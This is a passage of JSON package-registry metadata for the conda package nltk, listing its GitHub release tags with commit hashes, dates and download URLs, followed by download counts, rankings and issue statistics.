","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.2/manifests"},{"name":"v3.9.2","sha":"4e17ea390c526ec9cb9e5ef5eb3733ac118dbb8d","kind":"tag","published_at":"2025-10-01T07:08:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.9.2","html_url":"https://github.com/nltk/nltk/releases/tag/v3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.9.2/manifests"},{"name":"3.9.1","sha":"aca78cb2add4084f76b9eac921d8a73927d7a086","kind":"tag","published_at":"2024-08-19T01:25:00.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.1/manifests"},{"name":"3.9","sha":"24936a2d0c2ef1f4eed22de30aa72754e4cc30e7","kind":"tag","published_at":"2024-08-18T07:19:44.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9","html_url":"https://github.com/nltk/nltk/releases/tag/3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9/manifests"},{"name":"3.8.2","sha":"0753ee5bb0096b4a4b3dd587e784ce07e7f34dab","kind":"tag","published_at":"2024-08-10T00:30:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.2/manifests"},{"name":"3.8.1","sha":"63a63b1a7793aceceb1efc23bc1fd87e7095f9d5","kind":"tag","published_at":"2023-01-02T15:33:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.1/manifests"},{"name":"3.8","sha":"78952ef2d49e5281e30418c6f7778409e36d1765","kind":"tag","published_at":"2022-12-12T17:02:27.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8","html_url":"https://github.com/nltk/nltk/releases/tag/3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8/manifests"},{"name":"3.7","sha":"ebe086922d67dd27a808f079575bdf3458891824","kind":"tag","published_at":"2022-02-09T12:35:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.7","html_url":"https://github.com/nltk/nltk/releases/tag/3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.7/manifests"},{"name":"3.6.7","sha":"9f4de183a868a9e48801809f283a5dd770f0cb50","kind":"tag","published_at":"2021-12-28T23:14:43.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.7","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.7/manifests"},{"name":"3.6.6","sha":"4862b094ae4a9aa04396e06335ae52f7920e48c7","kind":"tag","published_at":"2021-12-21T02:09:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.6","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.6/manifests"},{"name":"3.6.5","sha":"b42236425456418b64803f099f6ca1fc3d24031f","kind":"tag","published_at":"2021-10-11T03:48:12.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.5/manifests"},{"name":"3.6.4","sha":"317c5f88ef66b039dc143a6ad78f2a61f362f03a","kind":"tag","published_at":"2021-10-01T01:53:28.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.4/manifests"},{"name":"3.6.3","sha":"a1034bbec30c2ec5765c9497cb8167b26a3c5d0e","kind":"tag","published_at":"2021-09-19T22:33:59.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.3/manifests"},{"name":"3.6.2","sha":"6797ee3958fe3fa0192d347b26ea0fc433b8bfc5","kind":"tag","published_at":"2021-04-20T04:51:22.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.2/manifests"},{"name":"3.6.1","sha":"33ac28cfcad288c611c5901faa9ebc799e7c95dd","kind":"tag","published_at":"2021-04-07T23:45:06.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.1/manifests"},{"name":"3.6","sha":"24d6e0d4123a5cfea3ede7dbdfe77fe0ec54b83c","kind":"tag","published_at":"2021-04-07T10:43:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6","html_url":"https://github.com/nltk/nltk/releases/tag/3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6/manifests"},{"name":"3.5","sha":"6404712d0a64c3d6e3700032c23a59803615460c","kind":"tag","published_at":"2020-04-12T23:43:59.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5/manifests"},{"name":"3.5b1","sha":"d22c84021c505e499acf701d8904d8c08400b43a","kind":"tag","published_at":"2020-03-08T00:20:19.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.5b1","html_url":"https://github.com/nltk/nltk/releases/tag/3.5b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.5b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5b1/manifests"},{"name":"3.4.5","sha":"acca8d573878e173379fe190d7f14f298b12dac9","kind":"tag","published_at":"2019-08-20T10:52:19.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.5/manifests"},{"name":"3.4.4","sha":"2554ff48feed878ba7e830ada9825196f3eaa86a","kind":"tag","published_at":"2019-08-20T10:26:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.4/manifests"},{"name":"3.4.3","sha":"1f64bc76719105f9f55997bd529c7bb9ef01e2ee","kind":"tag","published_at":"2019-06-06T17:49:32.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.3/manifests"},{"name":"3.4.1","sha":"8db6a82b2fb1ed9440eff1afeabd77584de4e455","kind":"tag","published_at":"2019-04-17T10:44:33.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.1/manifests"},{"name":"3.4","sha":"ad41250f12f9374b2e0c42255cc07106e927e167","kind":"tag","published_at":"2018-11-17T07:54:24.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4/manifests"},{"name":"3.3","sha":"15ef9a84757410aafb0d83549ef19fccd30bd695","kind":"tag","published_at":"2018-05-06T01:55:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.3/manifests"},{"name":"3.2.5","sha":"9b6beb8bd0e1530754fa52d360688bac5d1c9cb3","kind":"tag","published_at":"2017-09-24T11:09:56.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.5/manifests"},{"name":"3.2.4","sha":"b75f31543e6db0db36315f3d20a42522678b8c34","kind":"tag","published_at":"2017-05-20T22:46:21.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.4/manifests"},{"name":"3.2.3","sha":"2e427d5514d4152666b90c53da6cc2180d62b92d","kind":"tag","published_at":"2017-05-17T20:46:43.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.3/manifests"},{"name":"3.2.2","sha":"83bfa5bac3f3814ff90d29b8d89da0fd64c99651","kind":"tag","published_at":"2016-12-31T21:36:41.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.2/manifests"},{"name":"3.2.1","sha":"1ab735d46741636e62b67b792c4be06573556bef","kind":"tag","published_at":"2016-04-09T09:58:22.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.1/manifests"},{"name":"3.2","sha":"2c6cb73d3da69838a2a0e969db2431a867cc92c8","kind":"tag","published_at":"2016-03-02T23:57:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2/manifests"},{"name":"3.1","sha":"7c04988a31302aa0ae37d2444f7533c633fcc396","kind":"tag","published_at":"2015-10-15T19:49:04.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.1/manifests"},{"name":"3.0.5","sha":"fdcf99985d8e17064057ff5452b9ea3e2d50a5ae","kind":"tag","published_at":"2015-09-06T02:41:15.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.5/manifests"},{"name":"3.0.4","sha":"6f5459f9f5cc6e8a30376b1bddf1083ff1b66d99","kind":"tag","published_at":"2015-07-13T01:37:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.4/manifests"},{"name":"3.0.3","sha":"ae4049842ffc8a8bb67bc7c21a93a6c521b907d5","kind":"tag","published_at":"2015-06-11T10:56:34.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"d24d94faac44e2e14f9de1cfcbdeb52be500b72e","kind":"tag","published_at":"2015-03-13T03:44:56.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"efe85968bb23e3afdcd331293f2c2588b1590091","kind":"tag","published_at":"2015-03-11T00:04:05.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.1/manifests"},{"name":"3.0.0","sha":"82e137d26bb4b737d1fe7cfc8a2387589483d26e","kind":"tag","published_at":"2014-09-07T12:04:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0/manifests"},{"name":"3.0.0b2","sha":"48c40a00ad34344d79a5114912b69e56c8b1aa63","kind":"tag","published_at":"2014-08-21T14:46:32.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0b2","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0b2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0b2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b2/manifests"},{"name":"3.0.0b1","sha":"13a3120698724177bdf8e2b539accbed11179d18","kind":"commit","published_at":"2014-07-11T13:14:16.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0b1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b1/manifests"},{"name":"3.0a4","sha":"045e4810ea4f154db2e0ce4f9c62f819d9a137a4","kind":"tag","published_at":"2014-05-24T21:12:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0a4","html_url":"https://github.com/nltk/nltk/releases/tag/3.0a4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0a4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a4/manifests"},{"name":"3.0a1","sha":"3ff37647eeb2327d943a8cc15acc30adfa1e806f","kind":"tag","published_at":"2013-02-13T11:45:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0a1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a1/manifests"},{"name":"2.0.4","sha":"18c842fca78b77e2cdaced944903c793437a1034","kind":"tag","published_at":"2012-11-07T12:06:51.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.4","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"bbee3018e9ade285817ffd09c8068571d4be55bf","kind":"tag","published_at":"2012-11-07T11:33:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.3","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.3/manifests"},{"name":"2.0.1rc3","sha":"b0132e63e87a95fd56a53e9ddcb48b85b42b36da","kind":"tag","published_at":"2012-04-09T11:15:46.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc3","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc3/manifests"},{"name":"2.0.1rc4","sha":"65f2cc4fac925590dee4a3fbf7fc3d02b49cd105","kind":"tag","published_at":"2012-04-09T11:12:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc4","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc4/manifests"},{"name":"2.0.1rc2","sha":"6a1b72429ff2ad9d8e592e7c8775cc27046c198a","kind":"tag","published_at":"2011-12-01T10:11:11.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc2","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc2/manifests"},{"name":"2.0.1rc1","sha":"4b802fc7a1093aa6f412fa39525ac90acda127f0","kind":"commit","published_at":"2011-04-11T04:32:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc1","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc1/manifests"}]},"repo_metadata_updated_at":"2026-04-02T15:14:13.017Z","dependent_packages_count":4,"downloads":382207,"downloads_period":"total","dependent_repos_count":717,"rankings":{"downloads":null,"dependent_repos_count":5.712530712530713,"dependent_packages_count":21.566820276497694,"stargazers_count":6.787469287469287,"forks_count":6.081081081081082,"docker_downloads_count":null,"average":10.036975339394694},"purl":"pkg:conda/nltk","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/nltk/dependencies","status":null,"funding_links":[],"critical":false,"issue_metadata":{"last_synced_at":"2026-04-01T08:00:49.495Z","issues_count":291,"pull_requests_count":287,"avg_time_to_close_issue":27663240.92215569,"avg_time_to_close_pull_request":10491127.762331838,"issues_closed_count":167,"pull_requests_closed_count":223,"pull_request_authors_count":103,"issue_authors_count":251,"avg_comments_per_issue":3.725085910652921,"avg_comments_per_pull_request":3.052264808362369,"merged_pull_requests_count":155,"bot_issues_count":0,"bot_pull_requests_count":1,"past_year_issues_count":34,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1592398.5714285714,"past_year_avg_time_to_close_pull_request":25495